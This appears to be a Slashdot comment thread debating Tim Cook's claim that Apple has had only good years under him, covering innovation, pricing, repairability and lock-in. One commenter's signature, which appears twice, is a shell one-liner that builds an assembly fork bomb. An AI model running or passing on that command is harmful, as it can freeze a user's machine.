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Apple CEO Tim Cook: 'I've Only Had Good Years' (businessinsider.com)
Business Insider: Under CEO Tim Cook's watch, Apple has sold hundreds of millions of iPhones, booked hundreds of billions of dollars in profit, and launched new products like AirPods and Apple Watch. In fact, Cook says, he's never had a bad year as CEO of Apple. "I've only had good years. No, seriously," he said in an interview with Fast Company. "Even when we were idling from a revenue point of view -- it was like $6 billion every year -- those were some incredibly good years because you could begin to feel the pipeline getting better, and you could see it internally. Externally, people couldn't see that," he continued.
He's got a good point. Externally, we only saw the amazingly shitty products. The insider's view is that they have found people willing to buy that shit.
So you had Jobs who had vision. Then you have Cook who is very good at ops. He can squeeze every last cent out of everything they do.
Problem with these ops people is that they have no vision. Yea, now that he's in charge they're more profitable than ever. But product quality has suffered and they're not innovating. Not in any meaningful way, anyway.
This always ends the same way. The ops guy will get the company as efficient as he can, but they wont be doing anything new and it will take a dive.
>> you could begin to feel the pipeline getting better
Um, are still talking about finances and products, Tim? (uncomfortable silence)
To a CEO, a good product is one that sells, and Apple devices sell primarily because of lock in to the ecosystem. Of course he has good years if he sets the bar that low.
Laws are rules for the court, but merely a bottom bar to hit for life. Think beyond laws in your actions always.
Apples success is still about Steve Jobs vision.
He's talking about his own ass
Apple hasn't innovated since Jobs died. Don't get me wrong. Anyone following Jobs would be found wanting. But Cook is a manager, not a leader and it shows.
Steve Jobs was never complacent. OK, there was only one Steve Jobs, and nobody has his feel for products or his salesmanship, but at least Cook could emulate his lack of complacency.
Steve Jobs -- pioneer of computing as a prison. Tim Cook -- master promoter of the same business model. Two sides of the same coin, ta hell with them both.
Incredibly good years for fleecing the apple faithful.
I assume this is being posted by a bit, since the same spam seems to show up in just about every article. There are plenty of articles on Slashdot where politics is relevant. Keep politics out of articles where it doesn't belong.
This article is about how Apple has performed under Tim Cook. Can't we discuss that and leave Trump out? I'm much more interested in discussing Tim Cook's affect on Apple. While he's right that the company continues to bring in massive profits, I don't agree that he hasn't had bad years at Apple. The profits are still there, but the brand has diminished from ten years ago. A decade ago, Apple was viewed has having superior quality to their conpetitors, justifying the premium prices. The Mac vs. PC commercials from that era really drove home that point. There were other smartphones, but the iPhone was viewed as the gold standard, especially around the 3g-5 phones. Apple may still have huge profits, but the brand no longer carries the weight it did a decade ago.
Oh please. He has been talking about this magical pipeline pretty much since Jobs died. He is always excited about it. Maybe we are just around the corner from some amazing things, but so far the only new thing has been the watch. Everything else has just been small increments of the same tired form-factors. As he says, they idle on billions of dollars, yet all they are able to produce is a speaker and notched screen.
Apple is a religion.
the premature removal of all USB 3.0 type A ports,
Forcing people to buy a dongle, probably from the Apple store.
the removal of headphone jacks on the latest iPhones
May we recommend our new AirPods? A snip at only $159!!
the soldering of RAM on motherboards
Thus forcing people to buy more when they order the machine, and do so at whatever price Apple decide to charge. E.g. Apple charge $200 for an 8 to 16GB upgrade and $800 to upgrade a 128GB SSD to 1TB.
https://www.apple.com/shop/buy...
the lack of decent Mac mini and Macbook Air updates.
This is probably just laziness. Then again their captive audience will buy the old machines anyway, so I guess they spent less on engineering and got the same sales.
All this stuff is bad for the consumer, but it improves Apple's profitability .
It's a shame really, I'd have bought a new Macbook Pro if they hadn't pulled the trick of soldering the Ram using proprietary SSDs. An extra $1000 on a machine that costs $1299 already is a horrible rip off. Last generation I spent $1099 on a machine and then a few hundred bucks on more Ram and an SSD from Crucial when it got slow. Having to either spend a grand at Apple at the start or never have the possibility of upgrading significantly sours the deal.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Spot on on all accounts.
I eagerly await the Apple shills to respond.
"$6 billion every year
That's a very nice idle profit rate... Especially in a time when other computer companies saw sinking profits or even losses.
As long as Apple keeps selling more iPhones at higher price points, everything will be "good", i.e. lots of revenues and profits.
But Cook has hollowed out the rest of the Apple product line, and made design decisions that have nothing to do with usability but everything to do with "style". No updates to the Mac Mini or Mac Pro in years, the MacBook Pro is an absolute joke, no attempt to improve on the Airport Extreme, etc. Sure, those products are tiny blips in Apple's quarterly revenue, but they are the foundation that makes the iPhone a success.
I can no longer tell family and friends "buy an Apple computer" without reservation. I myself am carrying around a mid-2012 MacBook Pro that is really starting to show its age, but there is nothing in the Apple line that I care to replace it with. Thankfully a Samsung SSD has kept it going up till now, but at some point I will need a new computer. And then what? Perhaps a Dell with some flavor of Linux is in my future, because I can't see myself dealing with the abomination that is Windows 10.
Under Cook's reign, Apple has lost something fundamental: its proselytizers ... the experts who convince dozens or hundreds or thousands of others to try an Apple computer. If some manufacturer would sell a high quality laptop with a good GUI over some flavor of UNIX, I would probably buy it. For that matter, if Microsoft would take a page from the MacOS playbook, and sell a premium laptop with a new operating system built on UNIX foundations, I would switch in a second. But Microsoft is bound and determined to shove Windows 10 down the world's throat instead.
At some point Apple is going to reach "peak iPhone", or it is going to stumble with the next iPhone upgrade, and the Apple revenue monoculture will crash and burn in a very big way. Cook will be out the door, and a new CEO will step in, who more likely than not will make things even worse. It will be a sad ending to a once great computer company.
Perhaps at that point some manufacturer will shake off the "we must slavishly copy Apple" mindset and actually bring some innovation back to the laptop and desktop consumer computer market. The question is, will anyone care by the time it happens?
Apple has had a couple of innovative products, but nothing that really changed the way we live like the iPhone.
Not quite to the same extent but tablets have changed things almost as much. Before Apple showed people would buy an iPad there were not many people who made tablets people would buy. That is transforming the PC industry...
The touch bar isn't happening or if it is, it's not happening quick enough.
I agree, but to me this is because Apple has not included it on any external keyboard. But it is really nice on the laptops. I think it would really take off if you could use it across all systems.
Thunderbolt/USB3 is not happening soon enough.
I'm not sure what you are saying here because USB3 is pretty much everywhere now, and tons of people use Thunderbolt for external storage and soon eGPU support. I'd say Thunderbolt has done really well and has a bright future.
The iPhone X has slow adoption rates, but that's fine.
Not even close to true - "Best selling phone since launch". It is a real shift and a great update, like they say the platform for the next ten years. FaceID is a massive biometric leap over TouchID in terms of usefulness.
Apple is trying to shift the iPad into the consumer/entry level developer world and that's just not happening.
I think you are trying to talk about Playgrounds here? It's a side thing at best for the iPads, which are instead mainly focused on moving into professional use - and that is going quite well.
Steve Jobs had probably a four year road map when he departed.
Try 15-50. Obviously details change as time passes but he was a big fan of longer term thinking and it's not unreasonable to predict a lot of stuff that would be generally possibly ten years out just thinking about what kinds of things are in the R&D pipeline as far as material science and manufacturing go.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
That must explain the premature removal of all USB 3.0 type A ports
iMac pro still has them. But it's not premature at all, things are rapidly moving to USB-C and I say good riddance to a connector you have to try five times before it plugs in right. People will never move if you don't nudge them.
the soldering of RAM on motherboards
Only on laptops.
the lack of decent Mac mini and Macbook Air updates.
Macbook Pro is thin enough is has essentially replaced the Air.
As for the Mini, I'm sure we'll see a revamp before too long. It's not like processors have had a massive leap in that time, all an update would bring is better I/O options (which still would be welcome).
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Apple CEO Tim Cook: "God damn it, I'm lucky Steve Jobs existed!"
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
The iPhone did not change our lives. The Appstore did. And what made the Appstore successfull was the mortgage crises. Suddenly we had a lot of unemployed programmers willing to devote their coding time for free in hopes of winning the appstore lottery. A lot of coding got done for free which Apple could never have afforded to pay for and quantity has a quality of its own. Throw enough monkeys at a typewriter and you get hamlet. Throw enough unemployed coders at the appstore and you get innovative apps. With the economy recovering this free pool is no longer there. Dont blame Cook , blame the economy. For Apple's next spurt of growth we need another economic crash.
Same with Uber- Uber's economic model only works if you have a lot of unemployed people who already own nice cars and need to make their car payments. Once the economy recovered Uber has been bleeding money to keep going. Either they will crack the self driving car puzzle or they will go bankrupt by 2020.
Of course Apple has positioned itself for success with the Apple Watch, Homepod and Home Automation frameworks. Now all it needs is another recession and an avalanche of unemployed programmers coding apps for free for these platforms to have Cook look like a visionary par excellence
**Life is too short to be serious**
I remember changing a component on a friends original, CRT, iMac that would be a few second job on a standard PC and took ages and risked wrecking the whole device. My point is it isn't spot on to say that Tim Cook has somehow changed apple and suddenly it's hard to change components; they've been making devices where it is extremely difficult or effectively impossible to change them for nearly 20 years.
I don't use Macs but to be fair to them the trend towards more difficult to upgrade devices hasn't been restricted to just them, if anything they are probably closer to the average of the industry now than they were under Steve Jobs because it is becoming more common for other suppliers to use non-replaceable components to save on space or cost, and having just spent over £200 more on an XPS just to get an extra 8GB of ram even the gouging on upgrades isn't an apple only idea anymore.
Jobs main talent was he was easily annoyed, which led to finding products that fixed annoyances.
However I;d say he was more salesman than visionary,
The thing that made the products Apple came out with really refined and useful, was the input that the true visionary - Ives - came up with. Apple is not short on ideas to this day, but would really have trouble if it did not have someone like Ives to shape them.
The proof is in the pudding, as in the fact that Apple really has not had a decline since Jobs left - at any other company disaster would have followed soon after.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
The last "innovative" product Apple produced was iTunes.
MP3 players existed long before the iPod, but iTunes allowed trivial point/click to buy and download, and at the same time locked you in to their ecosystem.
The iPhone was just an extension of the iPod by way of the Touch. Smart-phones (with rounded corners) had existed for some years beforehand, and were certainly more functional that the iPhone version 1 - cut/paste and MMS, anybody?
Likewise the iPad - again, nothing innovative, as other similar products existed before the Apple offering.
The MacBook Air only "innovated" by removing functionality from a standard laptop, such as optical drives, ethernet ports, multiple USBs and, of course, user-upgradability and removable batteries.
What else? Firewire wasn't theirs, likewise Thunderbolt. AirPods? Maybe, if they worked properly...
This sig left unintentionally blank.
"I've never faced adversity, so when it comes, the company is probably screwed."
... until he didn't.
Like Cook, John Sculley was handed a pipeline of innovation. Sculley was a business manager, like Cook, and was successful in reducing some of Apples destructive excesses. However, besides his childlike fascination with the Newton, he didn't really have any kind of vision for the company and it was inevitable that Apple would hit a wall, because direct competition with Microsoft was suicide (as Apple would soon learn).
Sculley's greatest weakness, in my opinion, was that he didn't have the courage of his own convictions, and let a few inner-circle trusted managers whisper into his ear (*cough* Jean-Louis Gassee).
I have no idea if Cook is taking direction from anyone, but he seems focused on his strength, supply chain management. This will continue to increase or maintain Apple's profits while it coasts. It will work great, until it doesn't.
Apple may have yet another reckoning in the somewhat near future. The way they are focusing like a laser on iPhone and seemingly forgetting they have a really profitable Mac business will be their undoing in my opinion. Just look at how much the quality of Apple's system and some of its application software has declined over the last few years. It used to "just work" and now is finicky, bloated, and cumbersome. It is difficult to make the argument that MacOS is miles ahead of Windows, which you could do for years.
We shall see.
Increasing prices on the same old crap, no wonder externally we couldn't see the excitement... I think they started handing out the Apple cool-aid inside the spaceship now. I want to buy Apple products, but not the way things are going. Quality has gone WAY downhill, prices have gone up and there's no innovation - nobody wants touch bar crap or wireless headphones to lose. This Macbook air might be my last Apple product the way things are going.
I posted this link in an earlier Apple article, but it needs repeating:
"iPhone X was the best selling smartphone in the world in the December quarter according to Canalys and it has been our best selling phone every week since it launched." -- Tim Cook http://www.patentlyapple.com/patently-apple/2018/02/apples-iphone-x-is-the-instant-scapegoat-for-samsungs-failure-to-win-oled-orders-from-chinese-vendors.html
McDonalds sells billions of burgers but are not known for gourmet products, and Apple hasn't sold premium products for years. Remember when G5s were the envy of power users and when MacBook pros came in 17 inches with DVD drives and a full complement of ports. Tim Cook is now leading a Facebook machine company, and when people leave Facebook due to privacy violations they will leave Apple.
All this stuff is bad for the consumer, but it improves Apple's profitability.
Well, he did say that he has only had good years . . . not that Apple's customers have had only good years.
Schroedinger's Brexit: The UK is both in and out of the EU at the same time!
They have been doing that since day 1
"As an example, the Macintosh was supposed to have only 17 address lines on the motherboard, enough to support 128k of system RAM, but the design team added an additional two address lines without Jobs's knowledge, making it possible to expand the computer to 512k, although the actual act of upgrading system RAM was difficult and required piggybacking additional RAM chips overtop the onboard 4164 chips. In September 1984, after months of complaints over the Mac's inadequate RAM, Apple released an official 512k machine. Although this had always been planned from the beginning, Steve Jobs maintained if the user desired more RAM than the Mac 128 provided, he should simply pay extra money for a Mac 512 rather than upgrade the computer himself."
Sorry, teleporters just kill you and then make a copy. A perfect, soul-less copy.
Scott Forestall!
I don't think that your typical Apple user really cares about such technical things. They just want the cool looking phone or watch that Beyonce has.
Sure, us people in IT get screwed by these technical decisions, but we usually aren't the ones who approve the purchase orders for this stuff.
Oh wait, no it doesn't.
Only if you don't bother reading the article or the summary. He's clearly talking about things like finance and sales. In that sense, Apple has never had a bad financial year when he's been CEO. Even though they had a sales decline in FY2016, they still booked $215B in sales which was less than the $233B FY2015 and then rebounded with $229 for FY 2017. They were, of course, very profitable all those years. PR and technology wise you can argue all you want.
Well, there's spam egg sausage and spam, that's not got much spam in it.
Burma Shave
Oh.
they've been making devices where it is extremely difficult or effectively impossible to change them for nearly 20 years.
At least 30 years. I had to buy a special screwdriver (Torx head) to open up an SE in 1988.
- it was like $6 billion every year -- those were some incredibly good years because you could begin to feel the pipeline getting better
Yeah.... Cook has just been making the process for profiting from PAST innovations more efficient ---- sure the revenue is great in the short term, but you're in an industry that's innovate or die, and Cook has killed innovation AND excellence of Apple notebooks it seems like:
Your customers really don't want the silly touchbar, loss of physical power button, SSDs and RAM SOLDERED ---- nobody wants the headphone jack gone on the iPhones.
Apple was late to the "watch" party; the Apple watch and other new hardware is laggard of other Android-based tech that does less than the other tech with poorer technical specs.
AirPods
Apple's "AirPods" are overpriced, easy to lose, Not great in terms of audio quality, AND a "Solution" to a problem Apple created.
If you look at what Apple has done under Cook. They have lost iPod, they have failed to upgrade a lot of entry Mac's. They have created a higher priced iPhone. They have seen the iPad level off and decline. But clearly Apple has made up the loses of product sales on increasing margins. Its brilliant for Apple, but not so great for Apple customers.
A special very long shaft torx.
You can get the right size of long shaft flat screwdriver to work... to pull out the torx screws one time and replace them with phillips head screws that 'the rest of us' can work with.
Or you could, you know, not buy an Apple product? Honestly, why do you put up with such abuse?
I put up with it because I need to build iOS applications from time to time, and Apple have carefully tied that to being able to run the latest macOS.
Just like back when I needed to build Windows applications I needed to have a machine which run the latest Visual Studio. Which meant you needed to use the latest version of Windows.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Since Mac day one maybe. Apple 2 could be opened with no tools and had a heap of expansion ports.
...there is no sig...